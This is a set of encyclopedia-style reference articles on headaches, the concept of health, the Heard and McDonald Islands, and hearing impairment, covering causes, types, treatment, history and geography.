          The vast majority of headaches are benign and self-limiting. Common causes are tension, migraine, eye strain, dehydration, low blood sugar, and sinusitis. Much rarer are headaches due to life-threatening conditions such as meningitis, encephalitis, cerebral aneurysms, extremely high blood pressure, and brain tumors. When the headache occurs in conjunction with a head injury the cause is usually quite evident. A large percentage of headaches among women are caused by ever-fluctuating estrogen during menstrual years. This can occur prior to, or even during midcycle menstruation.


          Treatment of an uncomplicated headache is usually symptomatic with over-the-counter painkillers such as aspirin, paracetamol (acetaminophen), or ibuprofen, although some specific forms of headaches (e.g., migraines) may demand other, more suitable treatment. It may be possible to relate the occurrence of a headache to other particular triggers (such as stress or particular foods), which can then be avoided.


          


          Pathophysiology


          The brain in itself is not sensitive to pain, because it lacks nociceptors. Several areas of the head can hurt, including a network of nerves which extend over the scalp and certain nerves in the face, mouth, and throat. The meninges and the blood vessels do have pain perception. Headaches often result from traction to or irritation of the meninges and blood vessels. The membrane surrounding the brain and spinal cord, called the dura mater, is innervated with nociceptors. Stimulation of these dural nociceptors is thought to be involved in producing headaches. Similarly the muscles of the head may be sensitive to pain.


          


          Types


          There are five types of headache: vascular, myogenic (muscle tension), cervicogenic, traction, and inflammatory.


          


          Vascular


          The most common type of vascular headache is migraine. Migraine headaches are usually characterized by severe pain on one or both sides of the head, an upset stomach, and, for some people, disturbed vision. It is more common in women. While vascular changes are evident during a migraine, the cause of the headache is neurologic, not vascular. After migraine, the most common type of vascular headache is the "toxic" headache produced by fever.


          Other kinds of vascular headaches include cluster headaches, which are very severe recurrent short lasting headaches, often located through or around either eye and often wake the sufferers up at the same time every night. Unlike migraines, these headaches are more common in men than in women.


          


          Muscular/myogenic


          Muscular (or myogenic) headaches appear to involve the tightening or tensing of facial and neck muscles; they may radiate to the forehead. Tension headache is the most common form of myogenic headache.


          


          Cervicogenic


          Cervicogenic headaches originate from disorders of the neck, including the anatomical structures innervated by the cervical roots C1C3. Cervical headache is often precipitated by neck movement and/or sustained awkward head positioning. It is often accompanied by restricted cervical range of motion, ipsilateral neck, shoulder, or arm pain of a rather vague non-radicular nature or, occasionally, arm pain of a radicular nature.


          


          Traction/inflammatory


          
            [image: Positron emission tomography functional imaging shows activation of specific brain areas during a cluster headache.]

            
              Positron emission tomography functional imaging shows activation of specific brain areas during a cluster headache.
            

          


          Traction and inflammatory headaches are symptoms of other disorders, ranging from stroke to sinus infection. Specific types of headaches include:


          
            	Tension headache


            	Migraine


            	Idiopathic intracranial hypertension (headache with visual symptoms due to raised intracranial pressure)


            	Ictal headache


            	Cluster headache


            	" Brain freeze" (also known as: ice cream headache)


            	Thunderclap headache


            	Vascular headache


            	Toxic headache


            	Coital cephalalgia (also known as: sex headache)


            	Hemicrania continua


            	Rebound headache (also called medication overuse headache, abbreviated MOH)


            	Red wine headache


            	"Spinal headache" (or: post-dural puncture headaches) after lumbar puncture or related procedure that will lower the intracranial pressure


            	Hangover (caused by heavy alcohol consumption)

          


          A headache may also be a symptom of sinusitis.


          Like other types of pain, headaches can serve as warning signals of more serious disorders. This is particularly true for headaches caused by inflammation, including those related to meningitis as well as those resulting from diseases of the sinuses, spine, neck, ears, and teeth.


          


          Diagnosis


          While, statistically, headaches are most likely to be harmless and self-limiting, some specific headache syndromes may demand specific treatment or may be warning signals of more serious disorders. Some headache subtypes are characterized by a specific pattern of symptoms, and no further testing may be necessary, while others may prompt further diagnostic tests.


          Headache associated with specific symptoms may warrant urgent medical attention, particularly sudden, severe headache or sudden headache associated with a stiff neck; headaches associated with fever, convulsions or accompanied by confusion or loss of consciousness; headaches following a blow to the head, or associated with pain in the eye or ear; persistent headache in a person with no previous history of headaches; and recurring headache in children.


          The most important step in diagnosing a headache is for the physician to take a careful history and to examine the patient. In the majority of cases the diagnosis will be a "primary headache" which means that the headache, whilst unpleasant is not an occurring as a manifestation of a more serious condition. The main types of primary headache are tension headache, migraine and the trigeminal autonomic cephalalgias of which cluster headache is an example. As it is often difficult for patients to recall the precise details regarding each headache, it is often useful for the sufferer to fill-out a "headache diary" detailing the characteristics of the headache. When the headache does not clearly fit into one of the recognized primary headache syndromes or when atypical symptoms or signs are present then further investigations are justified. Computed tomography (CT/CAT) scans of the brain or sinuses are commonly performed, or magnetic resonance imaging (MRI) in specific settings. Blood tests may help narrow down the differential diagnosis, but are rarely confirmatory of specific headache forms.


          


          Treatment


          Not all headaches require medical attention, and many respond with simple analgesia (painkillers) such as paracetamol/acetaminophen or members of the NSAID class (such as aspirin/acetylsalicylic acid or ibuprofen).


          In recurrent unexplained headaches, healthcare professionals may recommend keeping a "headache diary" with entries on type of headache, associated symptoms, precipitating and aggravating factors. This may reveal specific patterns, such as an association with medication, menstruation or absenteeism or with certain foods. It was reported in March 2007 by two separate teams of researchers that stimulating the brain with implanted electrodes appears to help ease the pain of cluster headaches.


          


          Prevention


          Some forms of headache, such as migraine, may be amenable to preventative treatment. On the whole, long-term use of painkillers is discouraged as this may lead to drug induced headaches and "rebound headaches" on withdrawal. Caffeine, a vasoconstrictor, is sometimes prescribed or recommended as a remedy or supplement to pain killers in the case of extreme migraine. This has led to the development of paracetamol/caffeine analgesic.


          Petasites, magnesium, feverfew. riboflavin, CoQ10, and melatonin are "natural" supplements that have shown some efficacy for migraine prevention; a 2006 review tentatively ranked petasites and magnesium with the best evidence, and melatonin with by far the least. Adverse events included sore mouth and tongue (including ulcers) and abdominal pain for feverfew.


          


          Manual therapy


          Headache sufferers often use manual therapy, such as spinal manipulation, soft tissue therapy, and myofascial trigger point treatment. A 2006 systematic review found no rigorous evidence supporting manual therapies for tension headache. A 2005 structured review found that the evidence was weak for effectiveness of chiropractic manipulation for tension headache, and that it was probably more effective for tension headache than for migraine. A 2004 Cochrane review found that spinal manipulation may be effective for migraine and tension headache, and that spinal manipulation and neck exercises may be effective for cervicogenic headache. Two other systematic reviews published between 2000 and May 2005 did not find conclusive evidence in favour of spinal manipulation.


          Spinal manipulation is associated with frequent, mild and temporary adverse effects, including new or worsening pain or stiffness in the affected region. They have been estimated to occur in 34% to 55% of patients, with 80% of them disappearing within 24 hours. Spinal manipulation, particularly on the upper spine, can also result in complications that can lead to permanent disability or death. The incidence of these complications is unknown, due to high levels of underreporting and to the difficulty of linking manipulation to adverse effects such as stroke, a particular concern. Weak to moderately strong evidence supports causation (as opposed to statistical association) between cervical manipulative therapy (whether chiropractic or not) and vertebrobasilar artery stroke.
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              Health is a state of complete physical, mental and social well-being and not merely the absence of disease or infirmity.

            

          


          This definition, which was ratified during the first World Health Assembly, has not been modified since 1948 .


          Therefore Health may be regarded as a balance of physical, mental and social aspects of life in a being.


          


          Aspects of health


          " Mens sana in corpore sano" (Juvenal)


          


          Physical health


          Physical fitness is good bodily health, and is the result of regular exercise, proper diet and nutrition, and proper rest for physical recovery.


          A strong indicator of the health of populations is height, which is generally increased by improving nutrition and health care, and is also influenced by the standard of living and quality of life. Genetics is also a major factor in people's height. The study of human growth, its regulators, and its implications is known as Auxology.


          


          Mental health


          Mental health refers to a human individual's emotional and psychological well-being. Merriam-Webster defines mental health as "A state of emotional and psychological well-being in which an individual is able to use his or her cognitive and emotional capabilities, function in society, and meet the ordinary demands of everyday life."


          According to the World Health Organization, there is no one "official" definition of mental health. Cultural differences, subjective assessments, and competing professional theories all affect how "mental health" is defined. In general, most experts agree that "mental health" and " mental illness" are not opposites. In other words, the absence of a recognized mental disorder is not necessarily an indicator of mental health.


          One way to think about mental health is by looking at how effectively and successfully a person functions. Feeling capable and competent; being able to handle normal levels of stress, maintain satisfying relationships, and lead an independent life; and being able to "bounce back," or recover from difficult situations, are all signs of mental health.


          Encompassing your emotional, social, andmost importantlyyour mental well-being; All these aspectsemotional, physical, and socialmust function together to achieve overall health.


          


          Determinants of health


          The LaLonde report suggested that there are four general determinants of health including human biology, environment, lifestyle, and healthcare services. Thus, health is maintained and improved not only through the advancement and application of health science, but also through the efforts and intelligent lifestyle choices of the individual and society.


          

          A major environmental factor is water quality, especially for the health of infants and children in developing countries.


          


          Health maintenance


          Achieving health and remaining healthy is an active process. Effective strategies for staying healthy and improving one's health include the following elements:


          


          Nutrition


          
            [image: The updated USDA food pyramid, published in 2005, is a general nutrition guide for recommended food consumption.]

            
              The updated USDA food pyramid, published in 2005, is a general nutrition guide for recommended food consumption.
            

          


          Nutrition is the science that studies how what people eat affects their health and performance, such as foods or food components that cause diseases or deteriorate health (such as eating too many calories, which is a major contributing factor to obesity, diabetes, and heart disease). The field of nutrition also studies foods and dietary supplements that improve performance, promote health, and cure or prevent disease, such as eating fibrous foods to reduce the risk of colon cancer, or supplementing with vitamin C to strengthen teeth and gums and to improve the immune system.


          Personal health depends partially on the social structure of ones life. The maintenance of strong social relationships is linked to good health conditions, longevity, productivity, and a positive attitude. This is due to the fact that positive social interaction as viewed by the participant increases many chemical levels in the brain which are linked to personality and intelligence traits. Essentially this means that positive reinforcement from a third party make one more socially adept, in control, and relaxed physically and mentally, all of which are proven to effect the nervous system(UHF).


          


          Sports nutrition


          Sports nutrition focuses on how food and dietary supplements affect athletic performance (during events), improvement (from training), and recovery (after events and training). One goal of sports nutrition is to maintain glycogen levels and prevent glycogen depletion. Another is to optimize energy levels and muscle tone. An athlete's strategy for winning an event may include a schedule for the entire season of what to eat, when to eat it, and in what precise quantities (before, during, after, and between workouts and events). Participants in endurance sports such as the full-distance triathlon actually eat during their races. Sports nutrition works hand-in-hand with sports medicine.


          


          Exercise


          


          Exercise is the performance of movements in order to develop or maintain physical fitness and overall health. It is often directed toward also honing athletic ability or skill. Frequent and regular physical exercise is an important component in the prevention of some of the diseases of affluence such as cancer, heart disease, cardiovascular disease, Type 2 diabetes, obesity and back pain.


          Exercises are generally grouped into three types depending on the overall effect they have on the human body:


          
            	Flexibility exercises such as stretching improve the range of motion of muscles and joints.


            	Aerobic exercises such as walking and running focus on increasing cardiovascular endurance and muscle density.


            	Anaerobic exercises such as weight training or sprinting increase muscle mass and strength.

          


          Physical exercise is considered important for maintaining physical fitness including healthy weight; building and maintaining healthy bones, muscles, and joints; promoting physiological well-being; reducing surgical risks; and strengthening the immune system.


          Proper nutrition is just as, if not more, important to health as exercise. When exercising it becomes even more important to have good diet to ensure the body has the correct ratio of macronutrients whilst providing ample micronutrients; this is to aid the body with the recovery process following strenuous exercise. When the body falls short of proper nutrition, it gets into starvation mode developed through evolution and depends onto fat content for survival. Research suggest that the production of thyroid hormones can be negatively affected by repeated bouts of dieting and calorie restriction. Proper rest and recovery is also as important to health as exercise, otherwise the body exists in a permanently injured state and will not improve or adapt adequately to the exercise.


          The above two factors can be compromised by psychological compulsions ( eating disorders such as exercise bulimia, anorexia, and other bulimias), misinformation, a lack of organization, or a lack of motivation. These all lead to a decreased state of health.


          Delayed Onset Muscle Soreness can occur after any exercise, particularly if the body is in an unconditioned state relative to that exercise and the exercise involves repetitive eccentric contractions.


          


          Hygiene


          Hygiene is the practice of keeping the body clean to prevent infection and illness, and the avoidance of contact with infectious agents. Hygiene practices include bathing, brushing and flossing teeth, washing hands especially before eating, washing food before it is eaten, cleaning food preparation utensils and surfaces before and after preparing meals, and many others. This may help prevent infection and illness. By cleaning the body, dead skin cells are washed away with the germs, reducing their chance of entering the body.


          


          Stress management


          Prolonged psychological stress may negatively impact health, such as by weakening the immune system. See negative effects of the fight-or-flight response. Stress management is the application of methods to either reduce stress or increase tolerance to stress. Certain nootropics do both. Exercising to improve physical fitness, especially cardiovascular fitness, boosts the immune system and increases stress tolerance. Relaxation techniques are physical methods used to relieve stress. Examples include sexual intercourse, progressive relaxation, and fractional relaxation. Psychological methods include cognitive therapy, meditation, and positive thinking which work by reducing response to stress. Improving relevant skills and abilities builds confidence, which also reduces the stress reaction to situations where those skills are applicable. Reducing uncertainty, by increasing knowledge and experience related to stress-causing situations, has the same effect. Learning to cope with problems better, such as improving problem solving and time management skills, may also reduce stressful reaction to problems. Repeatedly facing an object of one's fears may also desensitize the fight-or-flight response with respect to that stimulus -- e.g., facing bullies may reduce fear of bullies.


          


          Health care


          Health care is the prevention, treatment, and management of illness and the preservation of mental and physical well being through the services offered by the medical, nursing, and allied health professions. According to the World Health Organization, health care embraces all the goods and services designed to promote health, including preventive, curative and palliative interventions, whether directed to individuals or to populations. The organized provision of such services may constitute a health care system. This can include a specific governmental organization such as the National Health Service in the UK, or a cooperation across the National Health Service and Social Services as in Shared Care.


          



          


          Workplace wellness programs


          Workplace wellness programs are recognized by an increasingly large number of companies for their value in improving the health and well-being of their employees, and for increasing morale, loyalty, and productivity. Workplace wellness programs can include things like onsite fitness centers, health presentations, wellness newsletters, access to health coaching, tobacco cessation programs and training related to nutrition, weight and stress management. Other programs may include health risk assessments, health screenings and body mass index monitoring. Mostly overseen or not mentioned is a group of determinants of health which could be called coincidence, hazard, luck or bad luck. These factors are quite important determinants of health but difficult to calculate.


          


          Public health


          Public health is "the science and art of preventing disease, prolonging life and promoting health through the organised efforts and informed choices of society, organisations, public and private, communities and individuals." It is concerned with threats to the overall health of a community based on population health analysis. The population in question can be as small as a handful of people or as large as all the inhabitants of several continents (for instance, in the case of a pandemic). Public health has many sub-fields, but is typically divided into the categories of epidemiology, biostatistics and health services. Environmental, social and behavioural health, and occupational health, are also important fields in public health.


          The focus of public health intervention is to prevent rather than treat a disease through surveillance of cases and the promotion of healthy behaviors. In addition to these activities, in many cases treating a disease can be vital to preventing it in others, such as during an outbreak of an infectious disease. Vaccination programs and distribution of condoms are examples of public health measures.


          


          Role of science in health


          Health science is the branch of science focused on health, and it includes many subdisciplines. There are two approaches to health science: the study and research of the human body and health-related issues to understand how humans (and animals) function, and the application of that knowledge to improve health and to prevent and cure diseases.


          


          Where health knowledge comes from


          Health research builds primarily on the basic sciences of biology, chemistry, and physics as well as a variety of multidisciplinary fields (for example medical sociology). Some of the other primarily research-oriented fields that make exceptionally significant contributions to health science are biochemistry, epidemiology, and genetics.


          


          Putting health knowledge to use


          Applied health sciences also endeavor to better understand health, but in addition they try to directly improve it. Some of these are: biomedical engineering, biotechnology, nursing, nutrition, pharmacology, pharmacy, public health (see below), psychology, physical therapy, and medicine. The provision of services to maintain or improve people's health is referred to as health care (see above).
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              	Heard and McDonald Islands*
            


            
              	UNESCO World Heritage Site
            


            
              	
                

                [image: Heard Island, from NASA World Wind]
              
            


            
              	Type

              	Natural
            


            
              	Criteria

              	viii, ix
            


            
              	Reference

              	577
            


            
              	Region**

              	Asia-Pacific
            


            
              	Inscription history
            


            
              	Inscription

              	1997 (21st Session)
            


            
              	* Name as inscribed on World Heritage List.

              ** Region as classified by UNESCO.
            

          


          Heard Island and McDonald Islands (abbreviated as HIMI) are uninhabited, barren islands located in the Southern Ocean, about two-thirds of the way from Madagascar to Antarctica, 7718km due south of Rajapur, Maharashtra, India and approximately 4099km west of Perth. They have been territories of Australia since 1947, and contain the only two active volcanoes in Australian territory, one of which, Mawson Peak, is the highest Australian mountain. The group's size is 372square kilometres (144sqmi) in area.


          


          History


          Neither island had visitors until the mid-1850s. Peter Kemp, a British sailor, was the first person thought to have seen the island on November 27, 1833, from the brig Magnet during a voyage from Kerguelen to the Antarctic and was believed to have entered the island on his 1833 chart.


          An American sealer, Captain John Heard, on the ship Oriental, sighted the island on November 25, 1853, en route from Boston to Melbourne. He reported the discovery one month later and had the island named after him. Captain William McDonald aboard the Samarang discovered the McDonald Islands close to Heard Island six weeks later, on January 4, 1854.


          No landing was made on the islands until March 1855, when sailors from the Corinthian, led by Captain Erasmus Darwin Rogers, went ashore, at a place called Oil Barrel Point. In the sealing period from 18551880, a number of American sailors spent a year or more on the island, living in appalling conditions in dank smelly huts, also at Oil Barrel Point. At its peak the community consisted of 200people. By 1880, most of the seal population had been wiped out and the sailors left the island. In all, more than 100,000barrels (16,000m) of elephant seal oil was produced during this period.


          There are a number of wrecks in the vicinity of the islands.


          The islands have been a territory of Australia since 1947, and became a World Heritage Site in 1997.


          


          Geography
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              Location of Heard and McDonald Islands
            

          


          Heard Island is a 368-square-kilometre (142sqmi) bleak and mountainous island located at . Its mountains are covered in glaciers and dominated by Mawson Peak, a 2,745-metre (9,006ft) high complex volcano which forms part of the Big Ben massif.


          Mawson Peak is the highest Australian mountain (higher than Mount Kosciuszko), and one of only 2 active volcanoes in Australian territory, the other being McDonald Island. A long thin spit named "Elephant Spit" extends from the east of the island.


          There is a small group of islets and rocks about 10kilometres (6mi) north of Heard Island, consisting of Shag Islet, Sail Rock, Morgan Island and Black Rock. They total approximately 1.1square kilometres (0.4sqmi) in area.


          The McDonald Islands are located 44kilometres (27mi) to the west of Heard Island at . The islands are small and rocky and consist of McDonald Island (230metres (750ft) high), Flat Island (55metres (180ft) high) and Meyer Rock (170metres (560ft) high). They total approximately 2.5square kilometres (1.0sqmi) in area and, as with Heard Island, are surface exposures of the Kerguelen Plateau.


          McDonald Island, after being dormant for 75,000years, erupted in 1992 and has erupted again several times since, its most recent eruption being on 10 August 2005.


          Heard Island and the McDonald Islands have no ports or harbours.


          


          Administration and economy


          The islands are a territory of Australia administered from Hobart by the Australian Antarctic Division of the Australian Department of the Environment and Water Resources. They are populated by large numbers of seal and bird species. The islands are contained within a 65,000-square-kilometre (25,000sqmi) marine reserve and are primarily visited for research.


          From 1947 until 1955 there were camps of visiting scientists on Heard Island (at Atlas Cove in the northwest, which was in 1969 again occupied by American scientists and expanded in 1971 by French scientists) and in 1971 on McDonald Island (at Williams Bay). Later expeditions used a temporary base at Spit Bay in the northeast, such as in 1988, 199293 and 20042005.


          There is no economic activity, but they have been assigned the country code HM in ISO 3166-1 and therefore the Internet top-level domain .hm.
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          A hearing impairment or hearing loss is a full or partial decrease in the ability to detect or understand sounds. Caused by a wide range of biological and environmental factors, loss of hearing can happen to any organism that perceives sound.


          Sound waves vary in amplitude and in frequency. Amplitude is the sound wave's peak pressure variation. Frequency is the number of cycles per second of a sinusoidal component of a sound wave. Loss of the ability to detect some frequencies, or to detect low-amplitude sounds that an organism naturally detects, is a hearing impairment.


          


          Loudness, frequency, and discrimination deficiencies


          Hearing sensitivity is indicated by the quietest sound that an individual can detect, called the hearing threshold. In the case of people and some animals, this threshold can be accurately measured by a behavioural audiogram. A record is made of the quietest sound that consistently prompts a response from the listener. The test is carried out for sounds of different frequencies. There are also electro-physiological tests that can be performed without requiring a behavioural response.


          Normal hearing thresholds are not the same for all frequencies in any species of animal. If different frequencies of sound are played at the same amplitude, some will be loud, and others quiet or even completely inaudible. Generally, if the gain or amplitude is increased, a sound is more likely to be perceived. Ordinarily, when animals use sound to communicate, hearing in that type of animal is most sensitive for the frequencies produced by calls, or, in the case of humans, speech. This tuning of hearing exists at many levels of the auditory system, all the way from the physical characteristics of the ear to the nerves and tracts that convey the nerve impulses of the auditory portion of the brain.


          A hearing impairment exists when an individual is not sensitive to the sounds normally heard by its kind. In human beings, the term hearing impairment is usually reserved for people who have relative insensitivity to sound in the speech frequencies. The severity of a hearing impairment is categorized according to how much louder a sound must be made over the usual levels before the listener can detect it. In profound deafness, even the loudest sounds that can be produced by the instrument used to measure hearing (audiometer) may not be detected.


          There is another aspect to hearing that involves the quality of a sound rather than amplitude. In people, that aspect is usually measured by tests of speech discrimination. Basically, these tests require that the sound is not only detected but understood. There are very rare types of hearing impairments which affect discrimination alone.


          


          Types and causes of hearing impairment


          Hearing impairment comes from different biologic causes. Most commonly, the ear is the affected part of the body.


          


          Conductive


          Conductive hearing loss occurs when sound is not normally conducted through the outer or middle ear or both. Since sound can be picked up by a normally sensitive inner ear even if the ear canal, ear drum, and ear ossicles are not working, conductive hearing loss is often only mild and is never worse than a moderate impairment. Hearing thresholds will not rise above 55-60 dB from outer or middle ear problems alone. Generally, with pure conductive hearing loss, the quality of hearing (speech discrimination) is good, as long as the sound is amplified loud enough to be easily heard.


          A conductive loss can be caused by any of the following: Ear canal obstruction Middle ear abnormalities: Tympanic membrane Ossicles Inner ear abnormalities: Superior canal dehiscence syndrome


          


          Sensorineural hearing loss


          A sensorineural hearing loss is due to insensitivity of the inner ear, the cochlea, or to impairment of function in the auditory nervous system. It can be mild, moderate, severe, or profound, to the point of total deafness. This is classified as a disability under the ADA and if unable to work is eligible for disability payments.


          The great majority of human sensorineural hearing loss is caused by abnormalities in the hair cells of the organ of Corti in the cochlea. There are also very unusual sensorineural hearing impairments that involve the VIIIth cranial nerve, the Vestibulocochlear nerve or the auditory portions of the brain. In the rarest of these sorts of hearing loss, only the auditory centers of the brain are affected. In this situation, central hearing loss, sounds may be heard at normal thresholds, but the quality of the sound perceived is so poor that speech can not be understood.


          Most sensory hearing loss is due to poor hair cell function. The hair cells may be abnormal at birth, or damaged during the lifetime of an individual. There are both external causes of damage, like noise trauma and infection, and intrinsic abnormalities, like deafness genes.


          Sensorineural hearing loss that results from abnormalities of the central auditory system in the brain is called Central Hearing Impairment. Since the auditory pathways cross back and forth on both sides of the brain, deafness from a central cause is unusual.


          Typical causes are discussed in following subsections.


          


          Long-term exposure to environmental noise


          Populations of people living near airports or freeways are exposed to levels of noise typically in the 65 to 75 dB(A) range. If lifestyles include significant outdoor or open window conditions, these exposures over time can degrade hearing. The U.S. EPA and various states have set noise standards to protect people from these adverse health risks. The EPA has identified the level of 70 dB(A) for 24 hour exposure as the level necessary to protect the public from hearing loss and other disruptive effects from noise, such as sleep disturbance, stress-related problems, learning detriment, etc. (EPA, 1974).


          Noise-Induced Hearing Loss (NIHL) typically is centered at 3000, 4000, or 6000 Hz. As noise damage progresses, damage starts affecting lower and higher frequencies. On an audiogram, the resulting configuration has a distinctive notch, sometimes referred to as a "noise notch." As aging and other effects contribute to higher frequency loss (6-8 kHz on an audiogram), this notch may be obscured and entirely disappear.


          Louder sounds cause damage in a shorter period of time. Estimation of a "safe" duration of exposure is possible using an exchange rate of 3 dB. As 3 dB represents a doubling of intensity of sound, duration of exposure must be cut in half to maintain the same energy dose. For example, the "safe" daily exposure amount at 85 dB A, known as an exposure action value, is 8 hours, while the "safe" exposure at 91 dB(A) is only 2 hours (National Institute for Occupational Safety and Health, 1998). Note that for some people, sound may be damaging at even lower levels than 85 dB A. Exposures to other ototoxins (such as pesticides, some medications including chemotherapy, solvents, etc.) can lead to greater susceptibility to noise damage, as well as causing their own damage. This is called a synergistic interaction.


          Some American health and safety agencies (such as OSHA and MSHA), use an exchange rate of 5 dB. While this exchange rate is simpler to use, it drastically underestimates the damage caused by very loud noise. For example, at 115 dB, a 3 dB exchange rate would limit exposure to about half a minute; the 5 dB exchange rate allows 15 minutes.


          While OSHA, MSHA, and FRA provide guidelines to limit noise exposure on the job, there is essentially no regulation or enforcement of sound output for recreational sources and environments, such as sports arenas, musical venues, bars, etc. This lack of regulation resulted from the defunding of ONAC, the EPA's Office of Noise Abatement and Control, in the early 1980s. ONAC was established in 1972 by the Noise Control Act and charged with working to assess and reduce environmental noise. Although the Office still exists, it has not been assigned new funding.


          Most people in the United States are unaware of the presence of environmental sound at damaging levels, or of the level at which sound becomes harmful. Common sources of damaging noise levels include car stereos, children's toys, transportation, crowds, lawn and maintenance equipment, power tools, gun use, and even hair dryers. Noise damage is cumulative; all sources of damage must be considered to assess risk. If one is exposed to loud sound (including music) at high levels or for extended durations (85 dB A or greater), then hearing impairment will occur. Sound levels increase with proximity; as the source is brought closer to the ear, the sound level increases. This is why music is more likely to cause damage at the same output when listened to through headphones, as the headphones are in closer proximity to the ear drum than a loudspeaker. With the invention of in-ear headphones, these dangers are increased.


          


          Genetic


          Hearing loss can be inherited. Both dominant gene and recessive genes exist which can cause mild to profound impairment. If a family has a dominant gene for deafness it will persist across generations because it will manifest itself in the offspring even if it is inherited from only one parent. If a family had genetic hearing impairment caused by a recessive gene it will not always be apparent as it will have to be passed onto offspring from both parents. Dominant and recessive hearing impairment can be syndromic or nonsyndromic. Recent gene mapping has identified dozens of nonsyndromic dominant (DFNA#) and recessive (DFNB#) forms of deafness.


          
            	The most common type of congenital hearing impairment in developed countries is DFNB1, also known as Connexin 26 deafness or GJB2-related deafness.


            	The most common dominant syndromic forms of hearing impairment include Stickler syndrome and Waardenburg syndrome.


            	The most common recessive syndromic forms of hearing impairment are Pendred syndrome, Large vestibular aqueduct syndrome and Usher syndrome.

          


          


          Disease or illness


          
            	Measles may result in auditory nerve damage


            	Meningitis may damage the auditory nerve or the cochlea


            	Autoimmune disease has only recently been recognized as a potential cause for cochlear damage. Although probably rare, it is possible for autoimmune processes to target the cochlea specifically, without symptoms affecting other organs.Wegener's granulomatosis is one of the autoimmune conditions that may precipitate hearing loss.


            	Mumps (Epidemic parotitis) may result in profound sensorineural hearing loss(90 Decibel|dB or more), unilateral (one ear) or bilateral (both ears).


            	Presbycusis is a progressive hearing impairment accompanying age, typically affecting sensitivity to higher frequencies (above about 2 kHz).


            	Adenoids that do not disappear by adolescence may continue to grow and may obstruct the Eustachian tube, causing conductive hearing impairment and nasal infections that can spread to the middle ear.


            	AIDS and AIDS-related complex|ARC patients frequently experience auditory system anomalies.


            	HIV (and subsequent opportunistic infections) may directly affect the cochlea and central auditory system.


            	Chlamydia may cause hearing loss in newborns to whom the disease has been passed at birth.


            	Fetal alcohol syndrome is reported to cause hearing loss in up to 64% of infants born to alcoholism|alcoholic mothers, from the ototoxic effect on the developing fetus plus malnutrition during pregnancy from the excess ethanol|alcohol intake.


            	Premature birth results in sensorineural hearing loss approximately 5% of the time.


            	Syphilis is commonly transmitted from pregnant women to their fetuses, and about a third of the infected children will eventually become deaf.


            	Otosclerosis is a hardening of the stapes (or stirrup) in the middle ear and causes conductive hearing loss.


            	Superior canal dehiscence, a gap in the bone cover above the inner ear, can lead to low-frequency conductive hearing loss, autophony and vertigo

          


          


          Medications


          Some medications cause irreversible damage to the ear, and are limited in their use for this reason. The most important group is the aminoglycosides (main member gentamicin).


          Various other medications may reversibly affect hearing. This includes some diuretics, aspirin and NSAIDs, and macrolide antibiotics.


          Extremely heavy hydrocodone (Vicodin or Lorcet) abuse is known to cause hearing impairment. Commentators have speculated that radio talk show host Rush Limbaugh's hearing loss was at least in part caused by his admitted addiction to narcotic pain killers, in particular Vicodin and OxyContin.


          


          Physical trauma


          
            	There can be damage either to the ear itself or to the brain centers that process the aural information conveyed by the ears.


            	People who sustain head injury are especially vulnerable to hearing loss or tinnitus, either temporary or permanent.


            	Exposure to very loud noise (90 Decibel|dB or more, such as jet engines at close range) can cause progressive hearing loss. Exposure to a single event of extremely loud noise (such as explosions) can also cause temporary or permanent hearing loss. A typical source of acoustic trauma is an excessively loud music concert.

          


          


          Categories of hearing impairment


          Hearing loss is categorized by its severity and by the age of onset. Two persons with the same severity of hearing loss will experience it quite differently if it occurs early or late in life. Furthermore, a loss can occur on only one side (unilateral) or on both (bilateral).


          


          Types


          As discussed above, there are three major types of hearing loss: neural/sensorineural, conductive, or a combination of both. Treatment depends upon the type of hearing loss that is present.


          


          Quantification of hearing loss


          The severity of hearing loss is measured by the degree of loudness, as measured in decibels, a sound must attain before being detected by an individual. Hearing loss may be ranked as mild, moderate, severe or profound. It is quite common for someone to have more than one degree of hearing loss (i.e. mild sloping to severe). The following list shows the rankings and their corresponding decibel ranges:


          
            	Mild:

              
                	for adults: between 25 and 40 dB


                	for children: between 20 and 40 dB

              

            


            	Moderate: between 41 and 55 dB


            	Moderately severe: between 56 and 70 dB


            	Severe: between 71 and 90 dB


            	Profound: 90 dB or greater

          


          The quietest sound one can hear at different frequencies is plotted on an audiogram to reflect one's ability to hear at different frequencies. The range of normal human hearing (from the softest audible sound to the loudest comfortable sound) is so great that the audiogram must be plotted using a logarithmic scale. This large normal range, and the different amounts of hearing loss at different frequencies, make it virtually impossible to accurately describe the amount of hearing loss in simple terms such as percentages or the rankings above.


          Measuring hearing loss in terms of a percentage is debatable in terms of effectiveness, and has been compared to measuring weight in inches. Though in specific legal situations, where decibels of loss are converted via a recognized legal formula, one can infer a standardized "percentage of hearing loss" which is suitable for legal purposes only.


          Another method for determining hearing loss, is the Hearing in Noise Test (HINT). HINT technology was developed by the House Ear Institute, and is intended to measure an ability to understand speech in quiet and noisy environments. Unlike pure-tone tests, where only one ear is tested at a time, HINT evaluates hearing using both ears simultaneously (binaural), as binaural hearing is essential for communication in noisy environments, and for sound localization.


          


          Age of onset of hearing impairment


          The age at which the hearing impairment develops is crucial to spoken language acquisition. Post-lingual hearing impairments are far more common than pre-lingual impairments.


          If the hearing loss occurs at a young age, interference with the acquisition of spoken language and social skills may occur. Hearing aids, which amplify the incoming sound, may alleviate some of the problems caused by hearing impairment, but are often insufficient. Cochlear implants artificially stimulate the VIIIth Nerve by providing an electric impulse substitution for the firing of hair cells. Cochlear implants are not only expensive, but require sophisticated programming in conjunction with patient training for effectiveness. People who have hearing impairments, especially those who develop a hearing problem in childhood or old age, require support and technical adaptations as part of the rehabilitation process.


          


          Pre-lingual deafness


          Prelingual hearing impairment exists when the impairment is congenital or otherwise acquired before the individual has acquired speech and language, thus rendering the disadvantages more difficult to treat because the child is unable to access audible/spoken communication from the outset. It is important to note that those children born into signing families have no delay in language development and communication. Most pre-lingual hearing impairment is due to an acquired condition, usually either disease or trauma; therefore, families commonly have no prior knowledge of deafness.


          


          Post-lingual hearing impairment


          Post-lingual hearing impairment where hearing loss is adventitious after the acquisition of speech and language, usually after the age of six. It may develop due to disease, trauma, or as a side-effect of a medicine. Typically, hearing loss is gradual, and often detected by family and friends of the people so affected long before the patients themselves will acknowledge the disability. Common treatments includes hearing aids and learning lip reading. Loneliness and depression can arise as a result of isolation (from the inability to communicate with friends and loved ones) and difficulty in accepting their disability.


          


          Hard-of-hearing


          People who are hard of hearing have varying amounts of hearing loss but usually not enough to be considered deaf. Many people who are deaf consider spoken language their primary language and consider themselves "hard of hearing". How one classifies themselves relative to hearing loss or deafness is a very personal decision and reflects much more than just their ability to hear.


